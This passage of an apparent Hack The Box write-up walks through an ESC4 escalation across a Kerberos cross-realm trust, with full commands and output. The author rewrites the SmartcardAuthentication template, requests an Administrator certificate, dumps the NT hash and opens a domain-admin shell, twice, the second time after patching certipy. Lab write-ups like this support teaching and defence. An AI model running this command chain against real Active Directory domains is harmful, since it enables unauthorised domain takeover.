[proxychains] Strict chain ... 127.0.0.1:1080 ... PING.HTB:88 ... OK
SMB dc1.ping.htb 445 dc1 [+] PONG.HTB\r.martinelli from ccache
It’s worth noticing what netexec does here. It reaches out to pong.htb and then to ping.htb. This is a cross-realm referral. After the SMB connections on 445 and 135, it reaches out to DC2 to ask for a referral ticket for krbtgt/PING.HTB@PONG.HTB, and then presents that ticket to DC1 asking for the service ticket it needs (in this case cifs/dc1.ping.htb@PING.HTB).
ESC4
Background
ESC4 just says that the user has full control over the template. That means as that user, I can edit the template so that it’s vulnerable to something else, typically ESC1 (which allows users to request a certificate on behalf of any other user). I’ve covered this before in HTB: Sendai, HTB: Infiltrator, and HTB: EscapeTwo.
Enumeration
BloodHound shows ESC4 as a path to PING.HTB. I’ll try to use certipy to verify that, but it fails:
oxdf@hacky$ KRB5CCNAME=r.martinelli.ccache proxychains certipy find -vulnerable -stdout -k -target dc1.ping.htb -dc-host dc1.ping.htb
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
Certipy v5.1.0 - by Oliver Lyak (ly4k)
[!] DNS resolution failed: The DNS query name does not exist: dc1.ping.htb.
[!] Use -debug to print a stacktrace
[proxychains] Strict chain ... 127.0.0.1:1080 ... 10.129.128.220:636 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 10.129.128.220:88 ... OK
[-] Kerberos error: Kerberos SessionError: KDC_ERR_WRONG_REALM(Reserved for future use) (Error code: 68)
[-] Got error: Kerberos SessionError: KDC_ERR_WRONG_REALM(Reserved for future use)
[-] Use -debug to print a stacktrace
certipy doesn’t try to get the referral ticket, and it’s failing because I’m submitting a PONG.HTB ticket to PING.HTB.
bloodyAD get writable crashes in a similar way:
oxdf@hacky$ KRB5CCNAME=r.martinelli.ccache proxychains -q bloodyAD --host DC1.ping.htb -d ping.htb -k get writable
Traceback (most recent call last):
File "/home/oxdf/.local/share/uv/tools/bloodyad/lib/python3.13/site-packages/badauth/protocols/kerberos/client/native.py", line 144, in authenticate
raise err
File "/home/oxdf/.local/share/uv/tools/bloodyad/lib/python3.13/site-packages/kerbad/aioclient.py", line 399, in tgs_from_ccache
tgs, keystruct, err = self.ccache.get_tgs(spn_user)
~~~~~~~~~~~~~~~~~~~^^^^^^^^^^
File "/home/oxdf/.local/share/uv/tools/bloodyad/lib/python3.13/site-packages/kerbad/common/ccache.py", line 657, in get_tgs
return tgss[0][0], tgss[0][1], None
~~~~^^^
IndexError: list index out of range
During handling of the above exception, another exception occurred:
Traceback (most recent call last):
File "/home/oxdf/.local/bin/bloodyAD", line 10, in <module>
sys.exit(main())
~~~~^^
File "/home/oxdf/.local/share/uv/tools/bloodyad/lib/python3.13/site-packages/bloodyAD/main.py", line 342, in main
asyncio.run(amain())
~~~~~~~~~~~^^^^^^^^^
File "/home/oxdf/.local/share/uv/python/cpython-3.13.7-linux-x86_64-gnu/lib/python3.13/asyncio/runners.py", line 195, in run
return runner.run(main)
~~~~~~~~~~^^^^^^
File "/home/oxdf/.local/share/uv/python/cpython-3.13.7-linux-x86_64-gnu/lib/python3.13/asyncio/runners.py", line 118, in run
return self._loop.run_until_complete(task)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~^^^^^^
File "/home/oxdf/.local/share/uv/python/cpython-3.13.7-linux-x86_64-gnu/lib/python3.13/asyncio/base_events.py", line 725, in run_until_complete
return future.result()
~~~~~~~~~~~~~^^
File "/home/oxdf/.local/share/uv/tools/bloodyad/lib/python3.13/site-packages/bloodyAD/main.py", line 268, in amain
async for entry in result:
print_human_entry(entry)
File "/home/oxdf/.local/share/uv/tools/bloodyad/lib/python3.13/site-packages/bloodyAD/cli_modules/get.py", line 551, in writable
root_ldap = await conn.getLdap()
^^^^^^^^^^^^^^^^^^^^
File "/home/oxdf/.local/share/uv/tools/bloodyad/lib/python3.13/site-packages/bloodyAD/network/config.py", line 156, in getLdap
self._ldap = await Ldap.create(self)
^^^^^^^^^^^^^^^^^^^^^^^
File "/home/oxdf/.local/share/uv/tools/bloodyad/lib/python3.13/site-packages/bloodyAD/network/ldap.py", line 216, in create
raise e
File "/home/oxdf/.local/share/uv/tools/bloodyad/lib/python3.13/site-packages/bloodyAD/network/ldap.py", line 204, in create
raise err
File "/home/oxdf/.local/share/uv/tools/bloodyad/lib/python3.13/site-packages/badldap/connection.py", line 436, in bind
raise err
File "/home/oxdf/.local/share/uv/tools/bloodyad/lib/python3.13/site-packages/badauth/protocols/kerberos/client/native.py", line 175, in authenticate
tgs, encpart, self.session_key = await self.kc.with_clock_skew(self.kc.get_TGS, spn)#, override_etype = self.preferred_etypes)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/oxdf/.local/share/uv/tools/bloodyad/lib/python3.13/site-packages/kerbad/aioclient.py", line 1003, in with_clock_skew
return await func(*args, **kwargs)
^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/oxdf/.local/share/uv/tools/bloodyad/lib/python3.13/site-packages/kerbad/aioclient.py", line 497, in get_TGS
raise KerberosError(rep, 'get_TGS failed!')
kerbad.protocol.errors.KerberosError: get_TGS failed! Error Name: KDC_ERR_WRONG_REALM Detail: "Incorrect domain or principal"
It’s failing at the cross domain authentication. On a fresh TGT the cache looks like:
oxdf@hacky$ KRB5CCNAME=r.martinelli.ccache klist
Ticket cache: FILE:r.martinelli.ccache
Default principal: r.martinelli@PONG.HTB
Valid starting Expires Service principal
11/16/2026 23:20:22 11/17/2026 09:20:22 krbtgt/PONG.HTB@PONG.HTB
renew until 11/17/2026 23:20:16
kvno will fetch a service ticket into the cache:
oxdf@hacky$ KRB5CCNAME=r.martinelli.ccache proxychains -q kvno ldap/DC1.ping.htb
ldap/DC1.ping.htb@PING.HTB: kvno = 7
oxdf@hacky$ KRB5CCNAME=r.martinelli.ccache klist
Ticket cache: FILE:r.martinelli.ccache
Default principal: r.martinelli@PONG.HTB
Valid starting Expires Service principal
11/16/2026 23:20:22 11/17/2026 09:20:22 krbtgt/PONG.HTB@PONG.HTB
renew until 11/17/2026 23:20:16
11/16/2026 23:22:04 11/17/2026 09:20:22 krbtgt/PING.HTB@PONG.HTB
renew until 11/17/2026 23:20:16
11/16/2026 23:22:04 11/17/2026 09:20:22 ldap/DC1.ping.htb@PING.HTB
renew until 11/17/2026 23:20:16
kvno uses the system Kerberos library, which follows the referral. With the ldap/DC1.ping.htb ticket already in the cache, bloodyAD uses it directly and never makes the cross-realm request itself. Now bloodyAD shows the SmartcardAuthentication template as writable:
oxdf@hacky$ KRB5CCNAME=r.martinelli.ccache proxychains -q bloodyAD --host DC1.ping.htb -d ping.htb -k get writable
distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=ping,DC=htb
permission: WRITE
distinguishedName: CN=S-1-5-21-2410575906-3092493790-2123333151-1124,CN=ForeignSecurityPrincipals,DC=ping,DC=htb
permission: WRITE
distinguishedName: CN=SmartcardAuthentication,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=ping,DC=htb
permission: WRITE
OWNER: WRITE
DACL: WRITE
distinguishedName: DC=ping.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=ping,DC=htb
permission: CREATE_CHILD
distinguishedName: DC=_msdcs.ping.htb,CN=MicrosoftDNS,DC=ForestDnsZones,DC=ping,DC=htb
permission: CREATE_CHILD
Abuse Manually
With write permissions on the template, I can enable ESC1, which requires:
- Enrollee Supplies Subject
- Client Authentication
Checking a certipy find run (by a ping.htb user, without -vulnerable) shows the following about the template in question:
Certificate Templates
0
Template Name : SmartcardAuthentication
Display Name : Smartcard Authentication
Certificate Authorities : ping-DC1-CA
Enabled : True
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : False
Certificate Name Flag : SubjectAltRequireUpn
SubjectRequireEmail
SubjectRequireDirectoryPath
Enrollment Flag : IncludeSymmetricAlgorithms
PublishToDs
AutoEnrollment
Private Key Flag : ExportableKey
Extended Key Usage : Client Authentication
Secure Email
Encrypting File System
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Schema Version : 2
Validity Period : 100 years
Renewal Period : 6 weeks
Minimum RSA Key Length : 2048
Template Created : 2026-01-17T15:39:18+00:00
Template Last Modified : 2026-01-17T15:39:37+00:00
Permissions
Enrollment Permissions
Enrollment Rights : PING.HTB\Domain Admins
PING.HTB\Enterprise Admins
Object Control Permissions
Owner : PING.HTB\Administrator
Full Control Principals : PING.HTB\Domain Admins
PING.HTB\Enterprise Admins
Write Owner Principals : PING.HTB\Domain Admins
PING.HTB\Enterprise Admins
Write Dacl Principals : PING.HTB\Domain Admins
PING.HTB\Enterprise Admins
Write Property Enroll : PING.HTB\Domain Admins
PING.HTB\Enterprise Admins
Client Authentication is already set. I’ll use bloodyAD to enable Enrollee Supplies Subject. Setting msPKI-Certificate-Name-Flag to 1 (ENROLLEE_SUPPLIES_SUBJECT) replaces the existing flags, including the requirement to build the subject from AD:
oxdf@hacky$ KRB5CCNAME=r.martinelli.ccache proxychains -q bloodyAD --host DC1.ping.htb -d ping.htb -k set object 'CN=SmartcardAuthentication,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=ping,DC=htb' msPKI-Certificate-Name-Flag -v 1
[+] CN=SmartcardAuthentication,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=ping,DC=htb's msPKI-Certificate-Name-Flag has been updated
Now it’s vulnerable to ESC1, but I don’t have access to a user that can enroll (it shows only admins in the output above). GenericAll on a template includes the Enroll extended right, so I’ll grant that to c.roberts (grabbing their SID from BloodHound):
oxdf@hacky$ KRB5CCNAME=r.martinelli.ccache proxychains -q bloodyAD --host DC1.ping.htb -d ping.htb -k add genericAll 'CN=SmartcardAuthentication,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=ping,DC=htb' 'S-1-5-21-750635624-2058721901-1932338391-2617'
[+] S-1-5-21-750635624-2058721901-1932338391-2617 has now GenericAll on CN=SmartcardAuthentication,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=ping,DC=htb
Now I request a certificate as c.roberts for Administrator:
oxdf@hacky$ KRB5CCNAME=c.roberts.ccache proxychains -q certipy req -k -no-pass -target dc1.ping.htb -dc-host dc1.ping.htb -ca ping-DC1-CA -template SmartcardAuthentication -upn administrator@ping.htb -sid 'S-1-5-21-750635624-2058721901-1932338391-500'
Certipy v5.1.0 - by Oliver Lyak (ly4k)
[!] DNS resolution failed: The DNS query name does not exist: dc1.ping.htb.
[!] Use -debug to print a stacktrace
[*] Requesting certificate via RPC
[*] Request ID is 22
[*] Successfully requested certificate
[*] Got certificate with UPN 'administrator@ping.htb'
[*] Certificate object SID is 'S-1-5-21-750635624-2058721901-1932338391-500'
[*] Saving certificate and private key to 'administrator.pfx'
[*] Wrote certificate and private key to 'administrator.pfx'
I can use certipy here because there’s no cross-domain auth. c.roberts is a user on ping.htb and can enroll in this template (now that I’ve modified it).
Now I auth with that certificate:
oxdf@hacky$ certipy auth -pfx administrator.pfx -dc-ip 10.129.128.220
Certipy v5.1.0 - by Oliver Lyak (ly4k)
[*] Certificate identities:
[*] SAN UPN: 'administrator@ping.htb'
[*] SAN URL SID: 'S-1-5-21-750635624-2058721901-1932338391-500'
[*] Security Extension SID: 'S-1-5-21-750635624-2058721901-1932338391-500'
[*] Using principal: 'administrator@ping.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
[*] Wrote credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@ping.htb': aad3b435b51404eeaad3b435b51404ee:63905deb12b527aadfdbc26d3f423eff
And use that TGT to get a shell:
oxdf@hacky$ KRB5CCNAME=administrator.ccache evil-winrm-py -i dc1.ping.htb -k
_ _ _
_____ _(_| |_____ __ _(_)_ _ _ _ _ __ ___ _ __ _ _
/ -_\ V | | |___\ V V | | ' \| '_| ' |___| '_ | || |
\___|\_/|_|_| \_/\_/|_|_||_|_| |_|_|_| | .__/\_, |
|_| |__/ v1.7.0
[*] Connecting to 'dc1.ping.htb:5985' as 'administrator@PING.HTB'
evil-winrm-py PS C:\Users\Administrator\Documents>
And get root.txt:
evil-winrm-py PS C:\Users\Administrator\Desktop> cat root.txt
8beb8eb0************************
Abuse with certipy Fix
There’s an issue on certipy GitHub and an open (unmerged) PR with a fix. I couldn’t get this to work as written. In certipy/lib/target.py, the from_options function has two branches that handle -dc-host not being set. The PR changes the else branch to leave dc_host as None, but find and template go through the if dc_as_target: branch, which still sets dc_host to the remote_name (dc1.ping.htb). Certipy resolves that to an IP and uses it as the KDC, so my PONG.HTB TGT gets sent straight to DC1, which rejects it with KDC_ERR_WRONG_REALM. I’ll change that line in the dc_as_target branch in target.py to None as well, which lets Impacket ask PONG.HTB first and follow the referral to PING.HTB (hat tip to Claude for the troubleshooting):
if dc_as_target:
...
if not dc_host:
dc_host = None # was: dc_host = remote_name
Now I can run certipy (the patched version reports as v5.0.4):
oxdf@hacky$ KRB5CCNAME=r.martinelli.ccache proxychains -q certipy find -vulnerable -stdout -k -no-pass -target dc1.ping.htb -ns 10.129.128.220
Certipy v5.0.4 - by Oliver Lyak (ly4k)
[-] Could not find user 'R.MARTINELLI'
[!] User SID can't be retrieved. For more accurate results, add it manually with -sid
[*] Finding certificate templates
[*] Found 35 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 13 enabled certificate templates
[*] Finding issuance policies
[*] Found 20 issuance policies
[*] Found 1 OID linked to a template
[*] Retrieving CA configuration for 'ping-DC1-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Successfully retrieved CA configuration for 'ping-DC1-CA'
[*] Checking web enrollment for CA 'ping-DC1-CA' @ 'dc1.ping.htb'
[!] Error checking web enrollment: [Errno 111] Connection refused
[!] Use -debug to print a stacktrace
[!] Error checking web enrollment: [Errno 111] Connection refused
[!] Use -debug to print a stacktrace
[*] Enumeration output:
Certificate Authorities
0
CA Name : ping-DC1-CA
DNS Name : dc1.ping.htb
Certificate Subject : CN=ping-DC1-CA, DC=ping, DC=htb
Certificate Serial Number : 6F8E726EEFA64B894CE82D498BC27632
Certificate Validity Start : 2026-04-20 18:54:41+00:00
Certificate Validity End : 2126-04-20 19:04:41+00:00
Web Enrollment
HTTP
Enabled : False
HTTPS
Enabled : False
User Specified SAN : Disabled
Request Disposition : Issue
Enforce Encryption for Requests : Enabled
Active Policy : CertificateAuthority_MicrosoftDefault.Policy
Permissions
Owner : PING.HTB\Administrators
Access Rights
ManageCa : PING.HTB\Administrators
PING.HTB\Domain Admins
PING.HTB\Enterprise Admins
ManageCertificates : PING.HTB\Administrators
PING.HTB\Domain Admins
PING.HTB\Enterprise Admins
Enroll : PING.HTB\Authenticated Users
Certificate Templates
0
Template Name : TemporaryWinRM
Display Name : Temporary WinRM
Certificate Authorities : ping-DC1-CA
Enabled : True
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : False
Certificate Name Flag : SubjectAltRequireUpn
SubjectRequireDirectoryPath
Enrollment Flag : IncludeSymmetricAlgorithms
PublishToDs
AutoEnrollment
Private Key Flag : ExportableKey
Extended Key Usage : Client Authentication
Secure Email
Encrypting File System
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Schema Version : 2
Validity Period : 1 year
Renewal Period : 6 weeks
Minimum RSA Key Length : 2048
Template Created : 2025-12-23T17:19:28+00:00
Template Last Modified : 2025-12-27T21:12:15+00:00
Issuance Policies : 1.3.6.1.4.1.311.21.8.5808481.4086498.12600997.2067446.8927163.214.489503.1996623
Linked Groups : CN=TempWinRMAccess,CN=Users,DC=ping,DC=htb
Permissions
Enrollment Permissions
Enrollment Rights : PING.HTB\Domain Admins
PING.HTB\Domain Users
PING.HTB\Enterprise Admins
Object Control Permissions
Owner : PING.HTB\Administrator
Full Control Principals : PING.HTB\Domain Admins
PING.HTB\Enterprise Admins
Write Owner Principals : PING.HTB\Domain Admins
PING.HTB\Enterprise Admins
Write Dacl Principals : PING.HTB\Domain Admins
PING.HTB\Enterprise Admins
Write Property Enroll : PING.HTB\Domain Admins
PING.HTB\Domain Users
PING.HTB\Enterprise Admins
[+] User Enrollable Principals : PING.HTB\Domain Users
[!] Vulnerabilities
ESC13 : Template allows client authentication and issuance policy is linked to group 'CN=TempWinRMAccess,CN=Users,DC=ping,DC=htb'.
Interestingly, it doesn’t show ESC4. That’s due to this line:
[-] Could not find user 'R.MARTINELLI'
[!] User SID can't be retrieved. For more accurate results, add it manually with -sid
It’s still failing to grab information about the user I’m running as. I’ll get r.martinelli’s SID from BloodHound and run again:
oxdf@hacky$ KRB5CCNAME=r.martinelli.ccache proxychains -q certipy find -vulnerable -stdout -k -no-pass -target dc1.ping.htb -ns 10.129.128.220 -sid S-1-5-21-2410575906-3092493790-2123333151-1124
Certipy v5.0.4 - by Oliver Lyak (ly4k)
[-] Could not find user 'R.MARTINELLI'
[*] Finding certificate templates
[*] Found 35 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 13 enabled certificate templates
[*] Finding issuance policies
[*] Found 20 issuance policies
[*] Found 1 OID linked to a template
[*] Retrieving CA configuration for 'ping-DC1-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Successfully retrieved CA configuration for 'ping-DC1-CA'
[*] Checking web enrollment for CA 'ping-DC1-CA' @ 'dc1.ping.htb'
[!] Error checking web enrollment: [Errno 111] Connection refused
[!] Use -debug to print a stacktrace
[!] Error checking web enrollment: [Errno 111] Connection refused
[!] Use -debug to print a stacktrace
[*] Enumeration output:
Certificate Authorities
0
CA Name : ping-DC1-CA
DNS Name : dc1.ping.htb
Certificate Subject : CN=ping-DC1-CA, DC=ping, DC=htb
Certificate Serial Number : 6F8E726EEFA64B894CE82D498BC27632
Certificate Validity Start : 2026-04-20 18:54:41+00:00
Certificate Validity End : 2126-04-20 19:04:41+00:00
Web Enrollment
HTTP
Enabled : False
HTTPS
Enabled : False
User Specified SAN : Disabled
Request Disposition : Issue
Enforce Encryption for Requests : Enabled
Active Policy : CertificateAuthority_MicrosoftDefault.Policy
Permissions
Owner : PING.HTB\Administrators
Access Rights
ManageCa : PING.HTB\Administrators
PING.HTB\Domain Admins
PING.HTB\Enterprise Admins
ManageCertificates : PING.HTB\Administrators
PING.HTB\Domain Admins
PING.HTB\Enterprise Admins
Enroll : PING.HTB\Authenticated Users
Certificate Templates
0
Template Name : SmartcardAuthentication
Display Name : Smartcard Authentication
Certificate Authorities : ping-DC1-CA
Enabled : True
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : False
Certificate Name Flag : SubjectAltRequireUpn
SubjectRequireEmail
SubjectRequireDirectoryPath
Enrollment Flag : IncludeSymmetricAlgorithms
PublishToDs
AutoEnrollment
Private Key Flag : ExportableKey
Extended Key Usage : Client Authentication
Secure Email
Encrypting File System
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Schema Version : 2
Validity Period : 100 years
Renewal Period : 6 weeks
Minimum RSA Key Length : 2048
Template Created : 2026-01-17T15:39:18+00:00
Template Last Modified : 2026-01-17T15:39:37+00:00
Permissions
Enrollment Permissions
Enrollment Rights : PING.HTB\Domain Admins
PING.HTB\Enterprise Admins
Object Control Permissions
Owner : PING.HTB\Administrator
Full Control Principals : PING.HTB\Domain Admins
PING.HTB\Enterprise Admins
Write Owner Principals : PING.HTB\Domain Admins
PING.HTB\Enterprise Admins
Write Dacl Principals : PING.HTB\Domain Admins
PING.HTB\Enterprise Admins
Write Property Enroll : PING.HTB\Domain Admins
PING.HTB\Enterprise Admins
[+] User ACL Principals : PING.HTB\CA Managers
[!] Vulnerabilities
ESC4 : User has dangerous permissions.
1
Template Name : TemporaryWinRM
Display Name : Temporary WinRM
Certificate Authorities : ping-DC1-CA
Enabled : True
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : False
Certificate Name Flag : SubjectAltRequireUpn
SubjectRequireDirectoryPath
Enrollment Flag : IncludeSymmetricAlgorithms
PublishToDs
AutoEnrollment
Private Key Flag : ExportableKey
Extended Key Usage : Client Authentication
Secure Email
Encrypting File System
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Schema Version : 2
Validity Period : 1 year
Renewal Period : 6 weeks
Minimum RSA Key Length : 2048
Template Created : 2025-12-23T17:19:28+00:00
Template Last Modified : 2025-12-27T21:12:15+00:00
Issuance Policies : 1.3.6.1.4.1.311.21.8.5808481.4086498.12600997.2067446.8927163.214.489503.1996623
Linked Groups : CN=TempWinRMAccess,CN=Users,DC=ping,DC=htb
Permissions
Enrollment Permissions
Enrollment Rights : PING.HTB\Domain Admins
PING.HTB\Domain Users
PING.HTB\Enterprise Admins
Object Control Permissions
Owner : PING.HTB\Administrator
Full Control Principals : PING.HTB\Domain Admins
PING.HTB\Enterprise Admins
Write Owner Principals : PING.HTB\Domain Admins
PING.HTB\Enterprise Admins
Write Dacl Principals : PING.HTB\Domain Admins
PING.HTB\Enterprise Admins
Write Property Enroll : PING.HTB\Domain Admins
PING.HTB\Domain Users
PING.HTB\Enterprise Admins
[+] User Enrollable Principals : PING.HTB\Domain Users
[!] Vulnerabilities
ESC13 : Template allows client authentication and issuance policy is linked to group 'CN=TempWinRMAccess,CN=Users,DC=ping,DC=htb'.
This time it finds it. Now I can use certipy template to make this template vulnerable to ESC1:
oxdf@hacky$ KRB5CCNAME=r.martinelli.ccache proxychains -q certipy template -k -no-pass -target dc1.ping.htb -template "SmartcardAuthentication" -write-default-configuration
Certipy v5.0.4 - by Oliver Lyak (ly4k)
[!] DNS resolution failed: The DNS query name does not exist: dc1.ping.htb.
[!] Use -debug to print a stacktrace
[*] Saving current configuration to 'SmartcardAuthentication.json'
[*] Wrote current configuration for 'SmartcardAuthentication' to 'SmartcardAuthentication.json'
[*] Updating certificate template 'SmartcardAuthentication'
[*] Replacing:
[*] nTSecurityDescriptor: b'\x01\x00\x04\x9c0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x02\x00\x1c\x00\x01\x00\x00\x00\x00\x00\x14\x00\xff\x01\x0f\x00\x01\x01\x00\x00\x00\x00\x00\x05\x0b\x00\x00\x00\x01\x01\x00\x00\x00\x00\x00\x05\x0b\x00\x00\x00'
[*] flags: 66104
[*] pKIDefaultKeySpec: 2
[*] pKIKeyUsage: b'\x86\x00'
[*] pKIMaxIssuingDepth: -1
[*] pKICriticalExtensions: ['2.5.29.19', '2.5.29.15']
[*] pKIExpirationPeriod: b'\x00@9\x87.\xe1\xfe\xff'
[*] pKIExtendedKeyUsage: ['1.3.6.1.5.5.7.3.2']
[*] pKIDefaultCSPs: ['2,Microsoft Base Cryptographic Provider v1.0', '1,Microsoft Enhanced Cryptographic Provider v1.0']
[*] msPKI-Enrollment-Flag: 0
[*] msPKI-Private-Key-Flag: 16
[*] msPKI-Certificate-Name-Flag: 1
[*] msPKI-Certificate-Application-Policy: ['1.3.6.1.5.5.7.3.2']
Are you sure you want to apply these changes to 'SmartcardAuthentication'? (y/N): y
[*] Successfully updated 'SmartcardAuthentication'
The default configuration also replaces the template’s security descriptor. The nTSecurityDescriptor it writes grants Authenticated Users (S-1-5-11) full control. So unlike the manual path, I don’t need to grant enrollment rights to anyone, and r.martinelli can request the certificate directly.
Now I request a certificate as Administrator on ping.htb:
oxdf@hacky$ KRB5CCNAME=r.martinelli.ccache proxychains -q certipy req -k -no-pass -target dc1.ping.htb -template "SmartcardAuthentication" -ca ping-dc1-ca -upn Administrator@ping.htb -sid S-1-5-21-750635624-2058721901-1932338391-500
Certipy v5.0.4 - by Oliver Lyak (ly4k)
[!] DC host (-dc-host) not specified and Kerberos authentication is used. This might fail
[!] DNS resolution failed: The DNS query name does not exist: dc1.ping.htb.
[!] Use -debug to print a stacktrace
[*] Requesting certificate via RPC
[*] Request ID is 21
[*] Successfully requested certificate
[*] Got certificate with UPN 'Administrator@ping.htb'
[*] Certificate object SID is 'S-1-5-21-750635624-2058721901-1932338391-500'
[*] Saving certificate and private key to 'administrator.pfx'
[*] Wrote certificate and private key to 'administrator.pfx'
Now I can auth with the certificate:
oxdf@hacky$ certipy auth -pfx administrator.pfx -dc-ip 10.129.128.220
Certipy v5.0.4 - by Oliver Lyak (ly4k)
[*] Certificate identities:
[*] SAN UPN: 'Administrator@ping.htb'
[*] SAN URL SID: 'S-1-5-21-750635624-2058721901-1932338391-500'
[*] Security Extension SID: 'S-1-5-21-750635624-2058721901-1932338391-500'
[*] Using principal: 'administrator@ping.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
[*] Wrote credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@ping.htb': aad3b435b51404eeaad3b435b51404ee:63905deb12b527aadfdbc26d3f423eff
And get a shell using the TGT:
oxdf@hacky$ KRB5CCNAME=administrator.ccache evil-winrm-py -i dc1.ping.htb -k
_ _ _
_____ _(_| |_____ __ _(_)_ _ _ _ _ __ ___ _ __ _ _
/ -_\ V | | |___\ V V | | ' \| '_| ' |___| '_ | || |
\___|\_/|_|_| \_/\_/|_|_||_|_| |_|_|_| | .__/\_, |
|_| |__/ v1.7.0
[*] Connecting to 'dc1.ping.htb:5985' as 'administrator@PING.HTB'
evil-winrm-py PS C:\Users\Administrator\Documents>
